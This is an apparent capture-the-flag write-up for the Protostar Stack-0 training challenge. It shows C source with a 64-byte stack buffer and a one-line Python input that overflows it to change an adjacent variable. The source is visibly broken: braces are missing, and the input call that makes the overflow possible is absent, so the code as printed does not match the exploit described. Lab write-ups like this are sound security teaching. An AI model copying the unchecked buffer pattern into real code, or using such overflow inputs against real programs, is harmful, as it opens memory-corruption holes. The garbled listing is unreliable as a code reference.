Protostar Stack-0 Writeup

writeup for protostar Stack-0 challenge

Stack 0

Source Code

Here is the source code for the Stack 0 challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
  volatile int modified;
  char buffer[64];

  modified = 0;

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");


The challenge was to modify modified variable clearly by looking at the source code it’s a stack buffer overflow vulnerability so clearly by providing an input bigger than 64 bytes we can overwrite the modified variable and hence i did that

python -c "print 'A'*65" | ./stack0

Voila! this challenge was completed


A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development. Codacker